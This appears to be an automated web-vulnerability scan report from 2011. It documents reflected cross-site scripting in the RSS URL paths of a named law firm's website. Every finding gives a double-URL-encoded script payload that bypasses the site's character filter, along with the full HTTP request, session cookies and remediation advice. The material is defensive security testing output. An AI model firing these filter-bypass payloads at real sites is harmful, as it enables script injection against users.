The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8458%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9d96a6b3a12 was submitted in the REST URL parameter 4. This input was echoed as a8458"><script>alert(1)</script>9d96a6b3a12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Environment__Safety/rss.xmla8458%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9d96a6b3a12 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53bc2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4c6054d33b2 was submitted in the REST URL parameter 1. This input was echoed as 53bc2"><script>alert(1)</script>4c6054d33b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss53bc2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4c6054d33b2/practices/Food__Drug_and_Product_Safety/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99d18%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1c0da64d82 was submitted in the REST URL parameter 2. This input was echoed as 99d18"><script>alert(1)</script>a1c0da64d82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices99d18%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1c0da64d82/Food__Drug_and_Product_Safety/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de427%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3670bef0e21 was submitted in the REST URL parameter 3. This input was echoed as de427"><script>alert(1)</script>3670bef0e21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Food__Drug_and_Product_Safetyde427%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3670bef0e21/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f92a2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e41efcd82b21 was submitted in the REST URL parameter 4. This input was echoed as f92a2"><script>alert(1)</script>41efcd82b21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Food__Drug_and_Product_Safety/rss.xmlf92a2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e41efcd82b21 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6fba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4316059e06 was submitted in the REST URL parameter 1. This input was echoed as a6fba"><script>alert(1)</script>a4316059e06 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssa6fba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4316059e06/practices/Franchise/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b78b0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9778950fc0 was submitted in the REST URL parameter 2. This input was echoed as b78b0"><script>alert(1)</script>9778950fc0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesb78b0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9778950fc0/Franchise/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4984%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e61790d4d9a8 was submitted in the REST URL parameter 3. This input was echoed as d4984"><script>alert(1)</script>61790d4d9a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Franchised4984%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e61790d4d9a8/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 214b4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e273c67fee0b was submitted in the REST URL parameter 4. This input was echoed as 214b4"><script>alert(1)</script>273c67fee0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Franchise/rss.xml214b4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e273c67fee0b HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2dde%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed620a3a2e2 was submitted in the REST URL parameter 1. This input was echoed as f2dde"><script>alert(1)</script>ed620a3a2e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rssf2dde%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eed620a3a2e2/practices/Government_Contracts/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad839%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb98612c93e6 was submitted in the REST URL parameter 2. This input was echoed as ad839"><script>alert(1)</script>b98612c93e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesad839%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb98612c93e6/Government_Contracts/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8ea8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c519c08fc2 was submitted in the REST URL parameter 3. This input was echoed as a8ea8"><script>alert(1)</script>7c519c08fc2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Government_Contractsa8ea8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c519c08fc2/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c8b4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f8e8ef06bb was submitted in the REST URL parameter 4. This input was echoed as 9c8b4"><script>alert(1)</script>4f8e8ef06bb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Government_Contracts/rss.xml9c8b4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4f8e8ef06bb HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86cb4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efd584c5ec86 was submitted in the REST URL parameter 1. This input was echoed as 86cb4"><script>alert(1)</script>fd584c5ec86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss86cb4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efd584c5ec86/practices/Health_Care/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc67c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed7658866ddf was submitted in the REST URL parameter 2. This input was echoed as cc67c"><script>alert(1)</script>d7658866ddf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicescc67c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed7658866ddf/Health_Care/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f87dc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee3d1a37ca4 was submitted in the REST URL parameter 3. This input was echoed as f87dc"><script>alert(1)</script>ee3d1a37ca4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Health_Caref87dc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee3d1a37ca4/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1cbf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eefc92306738 was submitted in the REST URL parameter 4. This input was echoed as f1cbf"><script>alert(1)</script>efc92306738 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Health_Care/rss.xmlf1cbf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eefc92306738 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7953a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4cf2c1a532 was submitted in the REST URL parameter 1. This input was echoed as 7953a"><script>alert(1)</script>a4cf2c1a532 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss7953a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4cf2c1a532/practices/Insurance/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0999%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5bd9f5471e was submitted in the REST URL parameter 2. This input was echoed as a0999"><script>alert(1)</script>5bd9f5471e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesa0999%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5bd9f5471e/Insurance/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
